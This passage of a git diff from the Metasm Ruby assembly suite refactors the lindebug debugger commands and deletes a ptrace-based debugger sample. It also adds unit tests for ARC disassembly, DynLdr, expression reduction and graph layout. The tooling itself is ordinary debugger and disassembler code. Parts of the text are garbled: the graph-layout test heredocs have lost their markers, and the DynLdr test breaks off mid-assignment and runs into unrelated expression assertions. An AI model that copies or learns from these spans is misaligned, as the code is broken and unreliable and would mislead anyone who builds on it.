'killed' } - @command['quit'] = @command['detach'] = @command['exit'] = lambda { |lex, int| + @command['quit'] = @command['detach'] = @command['exit'] = lambda { |str| @rs.detach @running = false } - @command['closeui'] = lambda { |lex, int| - @rs.logger = nil + @command['closeui'] = lambda { |str| @running = false } - @command['bpx'] = lambda { |lex, int| - addr = int[] - @rs.bpx addr + @command['bpx'] = lambda { |str| + @rs.bpx @rs.resolve(str) } - @command['bphw'] = lambda { |lex, int| - type = lex.readtok.raw - addr = int[] - @rs.set_hwbp type, addr + @command['bphw'] = @command['hwbp'] = lambda { |str| + type, str = str.split(/\s+/, 2) + @rs.hwbp @rs.resolve(str.to_s), type } - @command['bl'] = lambda { |lex, int| - log "bpx at #{@rs.findsymbol(@rs.wantbp)}" if @rs.wantbp.kind_of? ::Integer - @rs.breakpoints.sort.each { |addr, oct| - log "bpx at #{@rs.findsymbol(addr)}" - } - (0..3).each { |dr| - if @rs.regs_cache['dr7'] & (1 << (2*dr)) != 0 - log "bphw #{{0=>'x', 1=>'w', 2=>'?', 3=>'r'}[(@rs.regs_cache['dr7'] >> (16+4*dr)) & 3]} at #{@rs.findsymbol(@rs.regs_cache["dr#{dr}"])}" - end - } - } - @command['bc'] = lambda { |lex, int| - @rs.clearbreaks - } - @command['bt'] = lambda { |lex, int| @rs.backtrace { |t| puts t } } - @command['d'] = lambda { |lex, int| @dataptr = int[] || return } - @command['db'] = lambda { |lex, int| @datafmt = 'db' ; @dataptr = int[] || return } - @command['dw'] = lambda { |lex, int| @datafmt = 'dw' ; @dataptr = int[] || return } - @command['dd'] = lambda { |lex, int| @datafmt = 'dd' ; @dataptr = int[] || return } - @command['r'] = lambda { |lex, int| - r = lex.readtok.raw - nil while ntok = lex.readtok and ntok.type == :space + @command['bt'] = lambda { |str| @rs.stacktrace { |a,t| add_log "#{'%x' % a} #{t}" } } + @command['d'] = lambda { |str| @dataptr = @rs.resolve(str) if str.length > 0 } + @command['db'] = lambda { |str| @datafmt = 'db' ; @dataptr = @rs.resolve(str) if str.length > 0 } + @command['dw'] = lambda { |str| @datafmt = 'dw' ; @dataptr = @rs.resolve(str) if str.length > 0 } + @command['dd'] = lambda { |str| @datafmt = 'dd' ; @dataptr = @rs.resolve(str) if str.length > 0 } + @command['r'] = lambda { |str| + r, str = str.split(/\s+/, 2) if r == 'fl' - flag = ntok.raw - if i = Rubstop::EFLAGS.index(flag) - @rs.eflags ^= 1 << i - @rs.readregs - else - log "bad flag #{flag}" - end - elsif not @rs.regs_cache[r] + @rs.toggle_flag(str.to_sym) + elsif not @rs[r] log "bad reg #{r}" - elsif ntok - lex.unreadtok ntok - newval = int[] - if newval and newval.kind_of? ::Integer - @rs.send r+'=', newval - @rs.readregs - end + elsif str and str.length > 0 + @rs[r] = @rs.resolve(str) else - log "#{r} = #{@rs.regs_cache[r]}" + log "#{r} = #{@rs[r]}" end } - @command['run'] = @command['cont'] = lambda { |lex, int| - if tok = lex.readtok - lex.unreadtok tok - cont int[] - else cont - end + @command['g'] = lambda { |str| + @rs.go @rs.resolve(str) } - @command['syscall'] = lambda { |lex, int| syscall } - @command['singlestep'] = lambda { |lex, int| singlestep } - @command['stepover'] = lambda { |lex, int| stepover } - @command['stepout'] = lambda { |lex, int| stepout } - @command['g'] = lambda { |lex, int| - target = int[] - @rs.singlestep if @rs.regs_cache['eip'] == target - @rs.bpx target, true - cont - } - @command['u'] = lambda { |lex, int| @codeptr = int[] || break } - @command['has_pax'] = lambda { |lex, int| - if tok = lex.readtok - lex.unreadtok tok - if (int[] == 0) - @rs.set_pax false - else - @rs.set_pax true - end - else @rs.set_pax !@rs.has_pax - end - log "has_pax now #{@rs.has_pax}" - } - @command['loadsyms'] = lambda { |lex, int| - mapfile = '' - mapfile << ntok.raw while ntok = lex.readtok - if mapfile != '' - @rs.loadmap mapfile - else - @rs.loadallsyms - end - } - @command['scansyms'] = lambda { |lex, int| @rs.scansyms } - @command['sym'] = lambda { |lex, int| - sym = '' - sym << ntok.raw while ntok = lex.readtok - s = [] - @rs.symbols.each { |k, v| - s << k if v =~ /#{sym}/ - } - if s.empty? - log "unknown symbol #{sym}" - else - s.sort.each { |s_| log "#{'%08x' % s_} #{@rs.symbols_len[s_].to_s.ljust 6} #{@rs.findsymbol(s_)}" } - end - } - @command['delsym'] = lambda { |lex, int| - addr = int[] - log "deleted #{@rs.symbols.delete addr}" - @rs.symbols_len.delete addr - } - @command['addsym'] = lambda { |lex, int| - name = lex.readtok.raw - addr = int[] - if t = lex.readtok - lex.unreadtok t - @rs.symbols_len[addr] = int[] - else - @rs.symbols_len[addr] = 1 - end - @rs.symbols[addr] = name - } - @command['help'] = lambda { |lex, int| - log 'commands: (addr/values are things like dword ptr [ebp+(4*byte [eax])] ), type to see all commands' - log ' bpx ' - log ' bphw [r|w|x] : debug register breakpoint' - log ' bl: list breakpoints' - log ' bc: clear breakpoints' - log ' cont []: continue the target sending a signal' - log ' d/db/dw/dd []: change data type/address' - log ' g : set a bp at and run' - log ' has_pax [0|1]: set has_pax flag' - log ' loadsyms: load symbol information from mapped files (from /proc and disk)' - log ' ma : write memory' - log ' mx : write memory' - log ' maps: list maps' - log ' r []: show/change register' - log ' r fl : toggle eflags bit' - log ' scansyms: scan memory for ELF headers' - log ' sym : show symbol information' - log ' addsym []' - log ' delsym ' - log ' u : disassemble addr' - log ' reload: reload lindebug source' - log ' ruby : instance_evals ruby code in current instance' - log ' closeui: detach from the underlying RubStop' - log 'keys:' - log ' F5: continue' - log ' F6: syscall' - log ' F10: step over' - log ' F11: single step' - log ' F12: step out (til next ret)' - log ' pgup/pgdown: move command history' - } - @command['reload'] = lambda { |lex, int| load $0 ; load_commands } - @command['ruby'] = lambda { |lex, int| - str = '' - str << ntok.raw while ntok = lex.readtok - instance_eval str - } - @command['maps'] = lambda { |lex, int| - @rs.filemap.sort_by { |f, (b, e)| b }.each { |f, (b, e)| - log "#{f.ljust 20} #{'%08x' % b} - #{'%08x' % e}" - } - } - @command['ma'] = lambda { |lex, int| - addr = int[] - str = '' - str << ntok.raw while ntok = lex.readtok - @rs[addr, str.length] = str - } - @command['mx'] = lambda { |lex, int| - addr = int[] - data = [lex.readtok.raw].pack('H*') - @rs[addr, data.length] = data - } - @command['resize'] = lambda { |lex, int| resize } - @command['watch'] = lambda { |lex, int| @watch = ExprParser.parse(lex) ; updatedataptr } - @command['wd'] = lambda { |lex, int| + @command['u'] = lambda { |str| @codeptr = @rs.resolve(str) } + @command['ruby'] = lambda { |str| instance_eval str } + @command['wd'] = lambda { |str| @focus = :data - if tok = lex.readtok - lex.unreadtok tok - @win_data_height = int[] || return + if str.length > 0 + @win_data_height = @rs.resolve(str) resize end } - @command['wc'] = lambda { |lex, int| + @command['wc'] = lambda { |str| @focus = :code - if tok = lex.readtok - lex.unreadtok tok - @win_code_height = int[] || return + if str.length > 0 + @win_code_height = @rs.resolve(str) resize end } - @command['wp'] = lambda { |lex, int| @focus = :prompt } - @command['?'] = lambda { |lex, int| - val = int[] + @command['wp'] = lambda { |str| @focus = :prompt } + @command['?'] = lambda { |str| + val = @rs.resolve(str) log "#{val} 0x#{val.to_s(16)} #{[val].pack('L').inspect}" } - @command['.'] = lambda { |lex, int| @codeptr = nil } + @command['syscall'] = lambda { |str| + @rs.syscall_wait(str) + } end end if $0 == __FILE__ require 'optparse' - filemap = nil + opts = { :sc_cpu => 'Ia32' } OptionParser.new { |opt| - opt.on('-m map', '--map filemap') { |f| filemap = f } + opt.on('-m map', '--map filemap') { |f| opts[:filemap] = f } + opt.on('--cpu cpu') { |c| opts[:sc_cpu] = c } }.parse!(ARGV) - if not defined? Rubstop - if ARGV.first =~ /:/ - stub = 'gdbclient' - else - stub = 'rubstop' - end - require File.join(File.dirname(__FILE__), stub) + case ARGV.first + when /^(tcp:|udp:)?..+:/, /^ser:/ + opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/ + opts[:sc_cpu] = opts[:sc_cpu].new if opts[:sc_cpu].kind_of?(::Class) + rs = Metasm::GdbRemoteDebugger.new(ARGV.first, opts[:sc_cpu]) + else + rs = Metasm::LinDebugger.new(ARGV.join(' ')) end - - rs = Rubstop.new(ARGV.join(' ')) - rs.loadmap(filemap) if filemap + rs.load_map(opts[:filemap]) if opts[:filemap] LinDebug.new(rs).main_loop end diff --git a/lib/metasm/samples/metasm-shell.rb b/lib/metasm/samples/metasm-shell.rb index 698b7a3916..76a365f5e2 100644 --- a/lib/metasm/samples/metasm-shell.rb +++ b/lib/metasm/samples/metasm-shell.rb @@ -31,8 +31,7 @@ class String # encodes the current string as a Shellcode, returns the resulting EncodedData def encode_edata - s = Metasm::Shellcode.assemble @@cpu, self - s.encoded + Metasm::Shellcode.assemble(@@cpu, self).encode.encoded end # encodes the current string as a Shellcode, returns the resulting binary String diff --git a/lib/metasm/samples/peldr.rb b/lib/metasm/samples/peldr.rb index 1461b8d02b..e98220ffb1 100644 --- a/lib/metasm/samples/peldr.rb +++ b/lib/metasm/samples/peldr.rb @@ -148,7 +148,7 @@ class PeLdr end } - cp.numeric_constants.each { |k, v| + cp.numeric_constants.each { |k, v, f| n = k.upcase n = "C#{n}" if n !~ /^[A-Z]/ DL.const_set(n, v) if not DL.const_defined?(n) and v.kind_of? Integer @@ -178,7 +178,7 @@ class PeLdr def self.populate_peb DL.memory_write(@@peb, 0.chr*4096) - set = lambda { |off, val| DL.memory_write_int(@@peb+off, val) } + #set = lambda { |off, val| DL.memory_write_int(@@peb+off, val) } end def self.teb ; @@teb ; end diff --git a/lib/metasm/samples/rubstop.rb b/lib/metasm/samples/rubstop.rb deleted file mode 100644 index 751f758fa8..0000000000 --- a/lib/metasm/samples/rubstop.rb +++ /dev/null @@ -1,399 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this exemple illustrates the use of the PTrace class to implement a pytstop-like functionnality -# Works on linux/x86 -# - -require 'metasm' - -class Rubstop < Metasm::PTrace - EFLAGS = {0 => 'c', 2 => 'p', 4 => 'a', 6 => 'z', 7 => 's', 9 => 'i', 10 => 'd', 11 => 'o'} - # define accessors for registers - %w[eax ebx ecx edx ebp esp edi esi eip orig_eax eflags dr0 dr1 dr2 dr3 dr6 dr7 cs ds es fs gs].each { |reg| - define_method(reg) { peekusr(REGS_I386[reg.upcase]) & 0xffffffff } - define_method(reg+'=') { |v| - @regs_cache[reg] = v - v = [v & 0xffffffff].pack('L').unpack('l').first if v >= 0x8000_0000 - pokeusr(REGS_I386[reg.upcase], v) - } - } - - def cont(signal=0) - @ssdontstopbp = nil - singlestep(true) if @wantbp - super(signal) - ::Process.waitpid(@pid) - return if child.exited? - @oldregs.update @regs_cache - readregs - checkbp - end - - def singlestep(justcheck=false) - super() - ::Process.waitpid(@pid) - return if child.exited? - case @wantbp - when ::Integer; bpx @wantbp ; @wantbp = nil - when ::String; self.dr7 |= 1 << (2*@wantbp[2, 1].to_i) ; @wantbp = nil - end - return if justcheck - @oldregs.update @regs_cache - readregs - checkbp - end - - def stepover - i = curinstr.instruction if curinstr - if i and (i.opname == 'call' or (i.prefix and i.prefix[:rep])) - eaddr = @regs_cache['eip'] + curinstr.bin_length - bpx eaddr, true - cont - else - singlestep - end - end - - def stepout - # XXX @regs_cache.. - stepover until curinstr.opcode.name == 'ret' - singlestep - end - - def syscall - @ssdontstopbp = nil - singlestep(true) if @wantbp - super() - ::Process.waitpid(@pid) - return if child.exited? - @oldregs.update @regs_cache - readregs - checkbp - end - - def state; :stopped end - def ptrace; self end - - attr_accessor :pgm, :regs_cache, :breakpoints, :singleshot, :wantbp, - :symbols, :symbols_len, :filemap, :has_pax, :oldregs - def initialize(*a) - super(*a) - @pgm = Metasm::ExeFormat.new Metasm::Ia32.new - @pgm.encoded = Metasm::EncodedData.new Metasm::LinuxRemoteString.new(@pid) - @pgm.encoded.data.dbg = self - @regs_cache = {} - @oldregs = {} - readregs - @oldregs.update @regs_cache - @breakpoints = {} - @singleshot = {} - @wantbp = nil - @symbols = {} - @symbols_len = {} - @filemap = {} - @has_pax = false - - stack = self[regs_cache['esp'], 0x1000].to_str.unpack('L*') - stack.shift # argc - stack.shift until stack.empty? or stack.first == 0 # argv - stack.shift - stack.shift until stack.empty? or stack.first == 0 # envp - stack.shift - stack.shift until stack.empty? or stack.shift == 3 # find PHDR ptr in auxv - if phdr = stack.shift - phdr &= 0xffff_f000 - loadsyms phdr, phdr.to_s(16) - end - end - - def set_pax(bool) - if bool - @pgm.encoded.data.invalidate - code = @pgm.encoded.data[eip, 4] - if code != "\0\0\0\0" and @pgm.encoded.data[eip+0x6000_0000, 4] == code - @has_pax = 'segmexec' - else - @has_pax = 'pax' - end - else - @has_pax = false - end - end - - def readregs - %w[eax ebx ecx edx esi edi esp ebp eip orig_eax eflags dr0 dr1 dr2 dr3 dr6 dr7 cs ds].each { |r| @regs_cache[r] = send(r) } - @curinstr = nil if @regs_cache['eip'] != @oldregs['eip'] - @pgm.encoded.data.invalidate - end - - def curinstr - @curinstr ||= mnemonic_di - end - - def child - $? - end - - def checkbp - ::Process::waitpid(@pid, ::Process::WNOHANG) if not child - return if not child - if not child.stopped? - if child.exited?; log "process exited with status #{child.exitstatus}" - elsif child.signaled?; log "process exited due to signal #{child.termsig} (#{Signal.list.index child.termsig})" - else log "process in unknown status #{child.inspect}" - end - return - elsif child.stopsig != ::Signal.list['TRAP'] - log "process stopped due to signal #{child.stopsig} (#{Signal.list.index child.stopsig})" - return # do not check 0xcc at eip-1 ! ( if curinstr.bin_length == 1 ) - end - ccaddr = @regs_cache['eip']-1 - if @breakpoints[ccaddr] and self[ccaddr] == 0xcc - if @ssdontstopbp != ccaddr - self[ccaddr] = @breakpoints.delete ccaddr - self.eip = ccaddr - @wantbp = ccaddr if not @singleshot.delete ccaddr - @ssdontstopbp = ccaddr - else - @ssdontstopbp = nil - end - elsif @regs_cache['dr6'] & 15 != 0 - dr = (0..3).find { |dr_| @regs_cache['dr6'] & (1 << dr_) != 0 } - @wantbp = "dr#{dr}" if not @singleshot.delete @regs_cache['eip'] - self.dr6 = 0 - self.dr7 = @regs_cache['dr7'] & (0xffff_ffff ^ (3 << (2*dr))) - readregs - end - end - - def bpx(addr, singleshot=false) - @singleshot[addr] = singleshot - return if @breakpoints[addr] - if @has_pax - set_hwbp 'x', addr - else - begin - @breakpoints[addr] = self[addr] - self[addr] = 0xcc - rescue Errno::EIO - log 'i/o error when setting breakpoint, switching to PaX mode' - set_pax true - @breakpoints.delete addr - bpx(addr, singleshot) - end - end - end - - def mnemonic_di(addr = eip) - @pgm.encoded.ptr = addr - di = @pgm.cpu.decode_instruction(@pgm.encoded, addr) - @curinstr = di if addr == @regs_cache['eip'] - di - end - - def mnemonic(addr=eip) - mnemonic_di(addr).instruction - end - - def regs_dump - [%w[eax ebx ecx edx orig_eax], %w[ebp esp edi esi eip]].map { |l| - l.map { |reg| "#{reg}=#{'%08x' % @regs_cache[reg]}" }.join(' ') - }.join("\n") - end - - def findfilemap(s) - @filemap.keys.find { |k| @filemap[k][0] <= s and @filemap[k][1] > s } || '???' - end - - def findsymbol(k) - file = findfilemap(k) + '!' - if s = @symbols[k] ? k : @symbols.keys.find { |s_| s_ < k and s_ + @symbols_len[s_].to_i > k } - file + @symbols[s] + (s == k ? '' : "+#{(k-s).to_s(16)}") - else - file + ('%08x' % k) - end - end - - def set_hwbp(type, addr, len=1) - dr = (0..3).find { |dr_| @regs_cache['dr7'] & (1 << (2*dr_)) == 0 and @wantbp != "dr#{dr}" } - if not dr - log 'no debug reg available :(' - return false - end - @regs_cache['dr7'] &= 0xffff_ffff ^ (0xf << (16+4*dr)) - case type - when 'x'; addr += (@has_pax == 'segmexec' ? 0x6000_0000 : 0) - when 'r'; @regs_cache['dr7'] |= (((len-1)<<2)|3) << (16+4*dr) - when 'w'; @regs_cache['dr7'] |= (((len-1)<<2)|1) << (16+4*dr) - end - send("dr#{dr}=", addr) - self.dr6 = 0 - self.dr7 = @regs_cache['dr7'] | (1 << (2*dr)) - readregs - true - end - - def clearbreaks - @wantbp = nil if @wantbp == @regs_cache['eip'] - @breakpoints.each { |addr, oct| self[addr, 1] = oct } - @breakpoints.clear - if @regs_cache['dr7'] & 0xff != 0 - self.dr7 = 0 - readregs - end - end - - def loadsyms(baseaddr, name) - @loadedsyms ||= {} - return if @loadedsyms[name] or self[baseaddr, 4] != "\x7fELF" - @loadedsyms[name] = true - - set_status " loading symbols from #{name}..." - e = Metasm::LoadedELF.load self[baseaddr, 0x100_0000] - e.load_address = baseaddr - begin - e.decode - #e = Metasm::ELF.decode_file name rescue return # read from disk - rescue - log "failed to load symbols from #{name}: #$!" - ($!.backtrace - caller).each { |l| log l.chomp } - @filemap[baseaddr.to_s(16)] = [baseaddr, baseaddr+0x1000] - return - end - - if e.tag['SONAME'] - name = e.tag['SONAME'] - return if name and @loadedsyms[name] - @loadedsyms[name] = true - end - - last_s = e.segments.reverse.find { |s| s.type == 'LOAD' } - vlen = last_s.vaddr + last_s.memsz - vlen -= baseaddr if e.header.type == 'EXEC' - @filemap[name] = [baseaddr, baseaddr + vlen] - - oldsyms = @symbols.length - e.symbols.each { |s| - next if not s.name or s.shndx == 'UNDEF' - sname = s.name - sname = 'weak_'+sname if s.bind == 'WEAK' - sname = 'local_'+sname if s.bind == 'LOCAL' - v = s.value - v = baseaddr + v if v < baseaddr - @symbols[v] = sname - @symbols_len[v] = s.size - } - if e.header.type == 'EXEC' - @symbols[e.header.entry] = 'entrypoint' - end - set_status nil - log "loaded #{@symbols.length-oldsyms} symbols from #{name} at #{'%08x' % baseaddr}" - end - - def loadallsyms - File.read("/proc/#{@pid}/maps").each { |l| - name = l.split[5] - loadsyms l.to_i(16), name if name and name[0] == ?/ - } - end - - def loadmap(mapfile) - # file fmt: addr type name eg 'c01001ba t setup_idt' - minaddr = maxaddr = nil - File.read(mapfile).each { |l| - addr, type, name = l.chomp.split - addr = addr.to_i(16) - minaddr = addr if not minaddr or minaddr > addr - maxaddr = addr if not maxaddr or maxaddr < addr - @symbols[addr] = name - } - if minaddr - @filemap[minaddr.to_s(16)] = [minaddr, maxaddr+1] - end - end - - def scansyms - addr = 0 - fd = @pgm.encoded.data.readfd - while addr <= 0xffff_f000 - addr = 0xc000_0000 if @has_pax and addr == 0x6000_0000 - log "scansym: #{'%08x' % addr}" if addr & 0x0fff_ffff == 0 - fd.pos = addr - loadsyms(addr, '%08x'%addr) if (fd.read(4) == "\x7fELF" rescue false) - addr += 0x1000 - end - end - - def backtrace - s = findsymbol(@regs_cache['eip']) - if block_given? - yield s - else - bt = [] - bt << s - end - fp = @regs_cache['ebp'] - while fp >= @regs_cache['esp'] and fp <= @regs_cache['esp']+0x10000 - s = findsymbol(self[fp+4, 4].unpack('L').first) - if block_given? - yield s - else - bt << s - end - fp = self[fp, 4].unpack('L').first - end - bt - end - - def [](addr, len=nil) - @pgm.encoded.data[addr, len] - end - def []=(addr, len, str=nil) - @pgm.encoded.data[addr, len] = str - end - - attr_accessor :logger - def log(s) - @logger ||= $stdout - @logger.puts s - end - - # set a temporary status info (nil for default value) - def set_status(s) - @logger ||= $stdout - if @logger != $stdout - @logger.statusline = s - else - s ||= ' '*72 - @logger.print s + "\r" - @logger.flush - end - end -end - -if $0 == __FILE__ - # start debugging - rs = Rubstop.new(ARGV.shift) - - begin - while rs.child.stopped? and rs.child.stopsig == Signal.list['TRAP'] - if $VERBOSE - puts "#{'%08x' % rs.eip} #{rs.mnemonic}" - rs.singlestep - else - rs.syscall ; rs.syscall # wait return of syscall - puts "#{rs.orig_eax.to_s.ljust(3)} #{rs.syscallnr.index rs.orig_eax}" - end - end - p rs.child - puts rs.regs_dump - rescue Interrupt - rs.detach rescue nil - puts 'interrupted!' - rescue Errno::ESRCH - end -end diff --git a/lib/metasm/samples/struct_offset.rb b/lib/metasm/samples/struct_offset.rb index f285a164df..cd6f13f2db 100644 --- a/lib/metasm/samples/struct_offset.rb +++ b/lib/metasm/samples/struct_offset.rb @@ -43,17 +43,5 @@ cp.parse_file(ARGV.shift) $stdout.reopen File.open(opts[:outfile], 'w') if opts[:outfile] ARGV.each { |structname| - st = cp.toplevel.struct[structname] || cp.toplevel.symbol[structname] - st = st.type while st.kind_of? Metasm::C::Pointer or st.kind_of? Metasm::C::TypeDef - if not st.kind_of? C::Struct - puts "// unknown #{structname}", '' - next - end - - puts "// #{structname}" if not st.name - puts "struct #{st.name} { // size = #{cp.sizeof(st).to_s(opts[:offbase])}" - st.members.each { |m| - puts "\t#{m.type.to_s[1..-2]} #{m.name if m.name}; // +#{st.offsetof(cp, m.name).to_s(opts[:offbase])}" - } - puts '};', '' + puts cp.alloc_c_struct(structname) } diff --git a/lib/metasm/tests/all.rb b/lib/metasm/tests/all.rb index 9241608854..9f8e8df710 100644 --- a/lib/metasm/tests/all.rb +++ b/lib/metasm/tests/all.rb @@ -4,5 +4,5 @@ # Licence is LGPL, see LICENCE in the top-level directory -Dir['tests/*.rb'].each { |f| require f } +Dir['tests/*.rb'].sort.each { |f| require f } diff --git a/lib/metasm/tests/arc.rb b/lib/metasm/tests/arc.rb new file mode 100644 index 0000000000..26cee93ddd --- /dev/null +++ b/lib/metasm/tests/arc.rb @@ -0,0 +1,26 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'test/unit' +require 'metasm' + +class TestArc < Test::Unit::TestCase + def test_arc_dec + hex_stream = "\x0A\x23\x80\x0F\x80\x0\x60\x0D" # mov r3, 0x800D60 + hex_stream += "\x40\x83" # ld_s r2, [r3, 0] + + dasm = Metasm::Shellcode.disassemble(Metasm::ARC.new, hex_stream) + assert_equal(2, dasm.decoded.length) + + assert_equal('mov', dasm.decoded[0].instruction.opname) + assert_equal('r3', dasm.decoded[0].instruction.args[0].to_s) + assert_equal(0x800d60, dasm.decoded[0].instruction.args[1].reduce) + + assert_equal('ld_s', dasm.decoded[8].instruction.opname) + assert_equal('r2', dasm.decoded[8].instruction.args[0].to_s) + assert_equal('r3', dasm.decoded[8].instruction.args[1].base.to_s) + assert_equal(0, dasm.decoded[8].instruction.args[1].disp.reduce) + end +end diff --git a/lib/metasm/tests/dynldr.rb b/lib/metasm/tests/dynldr.rb index be7f29a434..21debb6d33 100644 --- a/lib/metasm/tests/dynldr.rb +++ b/lib/metasm/tests/dynldr.rb @@ -7,29 +7,47 @@ require 'test/unit' require 'metasm' class TestDynldr < Test::Unit::TestCase + def d; Metasm::DynLdr; end - def test_dynldr + def test_new_api_c str = "1234" - d = Metasm::DynLdr d.new_api_c('int memcpy(char*, char*, int)') d.memcpy(str, "9999", 2) assert_equal('9934', str) + end + def test_new_func_c c_src = <>, 8], :&, 0xff], :<<, 8].reduce) + + assert_equal(E[[:a, :>>, 1], :&, 0xff0], E[[[:a, :>>, 5], :&, 0xff], :<<, 4].reduce) + + assert_equal(0, E[[:a, :&, 0xff00], :&, [:b, :&, 0xff]].reduce) + assert_equal(0, E[[:a, :&, 0xff], :>>, 8].reduce) + + assert_equal(E[:a, :&, 0xffff], E[[:a, :&, 0x3333], :|, [[:a, :&, 0x8888], :+, [:a, :&, 0x4444]]].reduce) + + assert_equal(E[:a, :&, 0xff], E[[:a, :|, [:b, :&, 0xff00]], :&, 0xff].reduce) + + assert_equal(1, E[[2, :>, 1], :'||', [:a, :<=, :b]].reduce) + assert_equal(0, E[[:a, :>, :b], :'&&', [1, :>, 2]].reduce) + + assert_equal(E[:a, :>, :b], E[[:'!', [:a, :<=, :b]], :==, 1].reduce) + end + + def test_pattern + pat = E[:a, :+, [:b, :&, 0xffff]].match(E['a', :|, 'b'], 'a', 'b') + assert_equal(false, pat) + + pat = E[:a, :+, [:b, :&, 0xffff]].match(E['a', :+, 'b'], 'a', 'b') + assert_equal(:a, pat['a']) + p2 = pat['b'].match(E[:a, :b, :c], :a, :b, :c) + assert_equal(0xffff, p2[:c]) + assert_equal(:&, p2[:b]) + end +end diff --git a/lib/metasm/tests/graph_layout.rb b/lib/metasm/tests/graph_layout.rb new file mode 100644 index 0000000000..24eb7c129e --- /dev/null +++ b/lib/metasm/tests/graph_layout.rb @@ -0,0 +1,285 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# special file to test the graph layout engine +# call this file directly to run + +require 'metasm' +include Metasm + +def test_layout(lo) + $cur ||= 0 + $cur += 1 + if $target.to_i != 0 + return if $cur != $target + else + return if not lo.include? $target + end if $target + puts $cur, lo, '' if $VERBOSE + w = Gui::Window.new + ww = w.widget = Gui::GraphViewWidget.new(nil, nil) + ww.grab_focus + Gui.idle_add { + ww.load_dot(lo) + ww.curcontext.auto_arrange_boxes + ww.zoom_all + false + } + Gui.main +end + +def test_all + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 7; +EOS + test_layout < 1; +sep2 -> 2; +sep3 -> 3; +sep4 -> 4; +sep5 -> 5; +EOS + test_layout < 2 -> 3; +2 -> 4; +EOS + test_layout < 2 -> 3 -> 5; +2 -> 4 -> 5; +EOS + test_layout < 2 -> 3 -> 4; +2 -> 4; +EOS + test_layout < 2 -> 3; +1 -> 2; +EOS + test_layout < 2 -> 31 -> 32 -> 34 -> 5 -> 6 -> 8; +2 -> 41 -> 42 -> 44 -> 5 -> 7 -> 8; +41 -> 43 -> 44; +31 -> 33 -> 34; +EOS + test_layout < 2 -> 3a -> 4; +2 -> 3b -> 4; +3a -> 4a; +3b -> 4b; +EOS + test_layout < 2 -> 8; +2 -> 3 -> 8; +2 -> 4 -> 5 -> 8; +2 -> 6 -> 7 -> 8; +EOS + test_layout < 2 -> 3; +2 -> 4; +2 -> 5; +2 -> 6; +2 -> 7; +2 -> 8; +EOS + test_layout < 1 -> 2; +1 -> 3333333333333333333333333333333333; +EOS + test_layout < 1 +1 -> a2 -> a3 +a2 -> a222222222 -> a3 +1 -> b2 -> b3 +b2 -> b222222222 -> b3 +EOS + test_layout < 1 -> 2 -> 3 -> 4 -> 5 +4 -> eeeeeeeeeeee -> 5 +EOS + test_layout < 1 -> 22222222222222222222222222 -> e +1 -> 33333333333333333333333333 -> e +1 -> 4444444444444444444444 -> e +1 -> 5 -> e +5 -> 5t -> e +1 -> 6 -> e +6 -> 6t -> e +1 -> 7 -> e +7 -> 7t -> e +EOS + test_layout < 2 -> 11 -> 12 -> 13 -> 4; +2 -> 21 -> 22 -> 23 -> 4; +2 -> 31 -> 32 -> 33 -> 4; +21 -> 2z; +31 -> 3z; +EOS + test_layout < 2 -> 11 -> 12 -> 13; +2 -> 21 -> 22 -> 13; +2 -> 31 -> 32 -> 33; +22 -> 33; +21 -> z; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 62 -> 52 -> 42 -> 32 -> 22 -> e; +2 -> 21 -> 22; +3 -> 31 -> 32; +4 -> 41 -> 42; +5 -> 51 -> 52; +6 -> 61 -> 62; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> e; +2 -> 21 -> e; +3 -> 31 -> e; +4 -> 41 -> e; +5 -> 51 -> e; +6 -> 61 -> e; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6; +2 -> 4; +2 -> 5; +2 -> 6; +EOS + test_layout < 2a -> 3 -> 4 -> 5 -> 6; +drstair -> 2b -> 4; +2a -> 4; +2a -> 5; +2a -> 6; +2b -> 4; +2b -> 5; +2b -> 6; +EOS + test_layout < 2a -> 3a -> 4a -> 5a -> 6a; +mrstair -> 2b -> 4a; +2a -> 4a; +2a -> 5a; +2a -> 6a; +2b -> 4a; +2b -> 5a; +2b -> 6a; +2a -> 3b -> 4b -> 5b -> 6b; +2a -> 4b; +2a -> 5b; +2a -> 6b; +2b -> 3b; +2b -> 4b; +2b -> 5b; +2b -> 6b; +EOS + test_layout < 2 -> 3 -> 4; +3 -> 2; +EOS + test_layout < 2 -> 3 -> e; +2 -> 4 -> 5 -> 6 -> 8 -> e; +5 -> 7 -> 4; +EOS + test_layout < 2 -> 3 -> e; +2 -> 4 -> 5 -> 6 -> 8 -> e; +5 -> 7 -> 4; +7 -> 8; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> e; +2 -> 6 -> 7 -> 8 -> 9 -> 10 -> 11 -> 12 -> e; +EOS + test_layout < 2 -> 3 -> e; +2 -> 4 -> e; +2 -> 5 -> e; +2 -> 6 -> 7 -> 8 -> 9 -> 10 -> 11 -> 12 -> e; +EOS + test_layout < 2 -> 3 -> e; +2 -> 4 -> e; +2 -> 5 -> e; +2 -> 6 -> e; +8 -> 9 -> e; +2 -> 7 -> e; +EOS + test_layout < 1 -> 2 -> 3 -> 4 -> 5 -> 6; +l1 -> l2; +l1 -> l3; +l1 -> l4; +l1 -> l5; +l1 -> l6; +EOS + + test_layout < 2 -> 31 -> 41 -> 5; +2 -> 32 -> 42 -> 5; +31 -> 42; +41 -> 32; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> e; +6 -> 4; +7 -> 3; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> 8; +2 -> 21; +4 -> 6; +EOS + test_layout < 1 -> loophead; +2 -> 3 -> 2; +3 -> 4; +1 -> 4; +EOS + test_layout < e1; +l00pz -> 1 -> l00pz; +l2 -> 2 -> l2; +2 -> e1; +2 -> e2; +l3 -> 3 -> l3; +3 -> e2; +EOS + test_layout < 1 -> 3loop; +1 -> 2 -> 3 -> 2; +0 -> 00 -> 0 -> 